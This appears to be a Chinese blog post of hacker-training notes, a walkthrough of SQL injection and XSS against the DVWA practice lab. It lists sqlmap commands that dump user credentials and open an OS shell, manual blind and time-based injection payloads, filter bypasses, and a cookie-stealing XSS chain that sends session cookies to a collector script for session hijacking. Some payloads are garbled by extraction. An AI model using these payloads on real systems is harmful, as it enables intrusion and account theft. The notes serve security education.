sqlmap.py -u “http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#” -p “id” – cookie= “security=low;PHPSESSID=i1bjltdgosp5bnbr8ef314p5s3” --current-user --current-db

网易白帽子黑客训练营笔记(2)_第122张图片

查看表

sqlmap.py -u “http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#” -p “id” – cookie= “security=low;PHPSESSID=i1bjltdgosp5bnbr8ef314p5s3” -D dvwa --tables

网易白帽子黑客训练营笔记(2)_第123张图片

查看列名(字段名)

sqlmap.py -u “http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#” -p “id” – cookie= “security=low;PHPSESSID=i1bjltdgosp5bnbr8ef314p5s3” -D dvwa --columns

网易白帽子黑客训练营笔记(2)_第124张图片

查看用户名和密码

sqlmap.py -u “http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#” -p “id” – cookie= “security=low;PHPSESSID=i1bjltdgosp5bnbr8ef314p5s3” -D dvwa -T users -C user,password --dump

网易白帽子黑客训练营笔记(2)_第125张图片

我们看到sqlmap它还支持自动破解MD5

获取webshell

sqlmap.py -u “http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#” -p “id” – cookie= “security=low;PHPSESSID=i1bjltdgosp5bnbr8ef314p5s3” -D dvwa -T users -C user,password --os-shell

输入物理路径,执行dir

网易白帽子黑客训练营笔记(2)_第126张图片

Medium

网易白帽子黑客训练营笔记(2)_第127张图片

这里变为了下拉选择,我们无法输入进行修改了。但是我们可以用burp抓包修改。

网易白帽子黑客训练营笔记(2)_第128张图片

我们抓到的包是这样的,我们可以在这里对id进行修改

修改为1’,发现报错了

image-20220721163003147

这个错误的页面的意思是单引号被转译了。然后我们尝试双引号,发现也被转译了,最后我们尝试一下没有引号。

我们改为1 or 1=1

网易白帽子黑客训练营笔记(2)_第129张图片

运行成功了。

medium注入技巧:在SQL注入遇到转义字符串的单引号或者双引号的情况下,我们可以使用HEX编码进行绕过。

High

我们点击进来后,发现是一个超链接

网易白帽子黑客训练营笔记(2)_第130张图片

正常操作:

点击超链接进入,输入id查询,结果显示在原页面。

网易白帽子黑客训练营笔记(2)_第131张图片

我们尝试一下单引号,发现一下就注入了。同low相同。

网易白帽子黑客训练营笔记(2)_第132张图片

但是high我们用sqlmap操作比较麻烦,因为注入的点和返回的点不在同一个页面,你用sqlmap直接跑你会发现跑不出来。

但是sqlmap有一个参数是可以支持指定返回的页面,它就是–second-order

Impossible:检测了id数据类型,使用了预编译绑定id变量,有效地防止了SQL注入

所以SQL注入漏洞最好的修复方法就是参数化SQL语句

网易白帽子黑客训练营笔记(2)_第133张图片

SQL盲注

SQL盲注就是数据库的执行结果不会直接显示到页面上,页面只会显示真和假两种状态。
手工实战

我们选择low进入:输入1,提交,查询结果为真。

网易白帽子黑客训练营笔记(2)_第134张图片

输入-1,提交,查询结果为假。

网易白帽子黑客训练营笔记(2)_第135张图片

确定注入POC

  • 1 and 1024=1025

    我们发现查询结果为真,说明and后面假的语句没有插入进去,这里不存在注入漏洞

  • 1‘ and ’1024‘=’1025

    我们发现查询结果为假,所以这里就是使用单引号闭合的。

  • 1” and “1024”=“1025

    和第一个一样,不存在漏洞

盲注思路:1’ and 真 - - 1‘ and 假 - -

length(str) 获取字符串长度(字符串)

确定字符串长度:

1’ and length(database())>1 - -

1’ and length(database())>10 - -

然后使用二分法继续查询

substr(expression,start,length) 获取子字符串(原始字符串,字符串开始位置,子串长度)

ascii(string) 获取第一个字符的AASCII数值(字符串)

确定字符串内容(单字符ASCII码范围:0-127)

1’ and ascoo(substr(database(),1,1))>64 - - ——>64

继续使用二分法来确定,最终确定数据库名字为dvwa。

延时注入:

if(expr1,expr2,expr3) 如果expr1为真,返回expr2,否则返回expr3

sleep(N) 休眠(N秒)

1’ and sleep(if(length(database())=4,5,0))- -

benchmark(count,expr) 重复计算(次数为count,表达式)

1’ and benchmark(if(length(database())=4,5000000,0),md5(‘test’));- -

自动实战

sqlmap的使用基本和回显注入相同。

sqlmap有一个**-v**函数,用于输出详细的信息。-v 1表示输出最少,-v 6表示输出最多。

sqlmap.py -u “http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#” -p “id” - -cookie=“security=low;PHPSESSID=qlt1hbm8aueds2lga6aehe87s0” - -current-db -v 3

学习sqlmap注入方法:

cast(expressuin as data_type) 数据类型转换(表达式as新的数据类型)

ifnull(expr1,expr2) 如果expr1是null,返回expr2,否则返回本身

mid(expression,start,length) 获取子字符串(原始字符串,子串开始位置,子串长度)

ord(string) 获取第一个字符的ASCII数值(字符串)

payload语句:1‘ AND ORD(MID((IFNULL(CAST(DATABASE()AS CHAR),0x20))1,1))>64 AND ‘kqKY’=‘kqKY’

Medium:

改包为1 and 1=2,结果为假。手工利用的方式和回显注入一样。

自动利用的我们尝试一下和回显注入差不多,只是提交的方式和注入的类型不同。

High

尝试:1’ and ‘1’=’2’- - 结果为假。手工也是一样的。

自动注入使用sqlmap发现失效了,我们分析一下,是id不见了。我们发现id写在了cookie中然后去提交,流程发生了变化。

sqlmap命令:sqlmap.py -u “http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#” -p “id” - -cookie=“security=high;PHPSESSID=qlt1hbm8aueds2lga6aehe87s0” - -level 2

成功搞定,剩下的就和之前一样了。

Impossible:检测了id数据类型,使用了预编译绑定id变量,有效地放置了SQL注入。

修复

参数化SQL语句,数据类型检测,用户输入过滤

XSS

Cros-site scripting 跨站脚本

XSS本质上是一种客户端代码注入漏洞,通常注入的代码是JavaScript。区别于命令注入,SQL注入等服务端代码注入。

存储,反射,DOM三种XSS区别:

  • 存储型XSS:攻击代码在数据库里,输出在HTTP响应中
  • 反射型XSS:攻击代码在URL里,输出在HTTP响应中
  • DOM型XSS:攻击代码在URL里,输出在DOM节点中

登录dvwa,进入XSS(Reflected) 和 XSS(Stored)

反射型

选择安全等级low,输入xss,提交,显示

网易白帽子黑客训练营笔记(2)_第136张图片

输入< xss >标签,我们发现xss没有了

网易白帽子黑客训练营笔记(2)_第137张图片 网易白帽子黑客训练营笔记(2)_第138张图片

我们似乎可以注入标签。下面我们来进行弹窗测试,这是xss最普遍的测试和证明的方法,能弹窗就说明存在XSS。

我们来试一下浏览器能够识别的script标签

http://127.0.0.1/DVWA-master/vulnerabilities/xss_r/?name=
网易白帽子黑客训练营笔记(2)_第139张图片

我们可以看到我们已经成功注入了JS脚本,说明存在XSS漏洞。

网易白帽子黑客训练营笔记(2)_第140张图片

JavaScript弹窗函数:alert() confirm() prompt()

如果其中一个函数被过滤了我们可以尝试另外两个。

攻击思路:用户登录被攻击的web服务器,攻击者向用户发送url(包含攻击JS),用户访问攻击url,被攻击的web服务器会对攻击JS回应,用户浏览器执行JS脚本,在用户不知情的情况下发送用户凭证到攻击者的web服务器上,攻击者获取到这个信息,使用用户身份登录到被攻击的web服务器,这时攻击者就可以以用户的身份进行任意操作了。

攻击者web设计:

  • 新建一个cookie.php文件,内容为

    
    $cookie=$_GET['cookie'];
    file_put_contents('cookie.txt,
    $cookie');
    ?>
    
  • 构造攻击js

    <script>document.location=
    'http://127.0.0.1/cookie.php?
    cookie='+document.cookie;
    script>
    
  • 构造并发送攻击url

    http://10.240.138.212/DVWA-1.9/vulnerabilities/xss_r/name=
    

    这样的访问并不会成功,我们还需要对url进行编码(URLencode)

    网易白帽子黑客训练营笔记(2)_第141张图片
  • 获得cookie

    用户点击后,我们的cookie.txt就有内容了

    security=low;
    PHPSESSID=tkgm1hqifl8du9rdkdge7ba0c2
    
  • 劫持会话

    攻击者访问dvwa网站,修改cookie为获取到的cookie值。随后直接访问dvwa的index.php,成功的以admin的身份进入。

Medium:

low方法已经失效了

网易白帽子黑客训练营笔记(2)_第142张图片

信息表面过滤了script标签。

我们尝试使用

High

用low和medium的方法都是失效的,所以我们要想其他方法。能够执行js脚本的标签还有:

标签,也可以插入XSS代码。输入,成功注入JavaScript。说明服务端只是过滤了script标签。